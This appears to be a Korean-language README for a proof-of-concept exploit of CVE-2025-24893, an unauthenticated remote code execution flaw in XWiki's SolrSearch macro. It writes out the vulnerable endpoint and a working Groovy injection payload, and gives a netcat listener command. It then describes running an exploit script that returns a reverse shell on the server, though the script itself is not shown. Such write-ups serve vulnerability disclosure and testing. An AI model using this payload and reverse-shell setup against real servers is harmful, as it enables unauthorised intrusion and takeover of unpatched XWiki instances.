dollarboysushil/cve-2025-24893-xwiki-unauthenticated-rce-exploit-pocCVE-2025-24893는 XWiki(버전 < 15.10.11, 16.4.1, 16.5.0RC1)에서 SolrSearch 매크로의 Groovy 표현식을 부적절하게 처리하여 발생하는 심각한 인증되지 않은 원격 코드 실행 취약점입니다.
⚠️ XWiki에서 인증 없는 원격 코드 실행
🛠️ PoC 구현: @dollarboysushil
CVE-2025-24893는 XWiki의 치명적인 RCE 취약점으로, SolrSearch 매크로 내부의 안전하지 않은 Groovy 표현식 처리로 인해 발생합니다. 공격자는 조작된 GET 요청을 통해 Groovy 코드를 주입하여 원격 코드 실행을 유발할 수 있습니다 (인증 불필요).
취약점은 XWiki의 SolrSearch 매크로 (Main.SolrSearch)에 있으며, 이 매크로는 안전하지 않은 Groovy 평가를 사용하여 검색 입력을 처리합니다. 이 매크로는 사용자가 제공한 입력을 제대로 살균하지 못하여 임의 코드 실행을 허용합니다.
/xwiki/bin/get/Main/SolrSearch?media=rss&text=
공격자는 text 매개변수에 Groovy 코드를 주입할 수 있으며, 매크로 시스템 내에서 부적절한 입력 처리로 인해 서버 측에서 평가됩니다.
}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}
이는 취약한 XWiki 인스턴스에서 인증 없는 원격 코드 실행 (RCE) 으로 이어집니다.
취약한 대상은 버전 15.10.8을 실행하는 XWiki 인스턴스로, CVE-2025-24893의 영향을 받습니다.
공격자 머신에서 Netcat 리스너를 시작하여 리버스 셸 연결을 캡처합니다:
nc -lvnp 1337
익스플로잇 스크립트 CVE-2025-24893-dbs.py를 실행하여 취약한 XWiki 엔드포인트에 Groovy 기반 RCE 페이로드를 전달합니다.
성공적으로 실행되면 리버스 셸이 리스너에 다시 연결되어 공격자에게 서버에 대한 원격 액세스를 제공합니다.
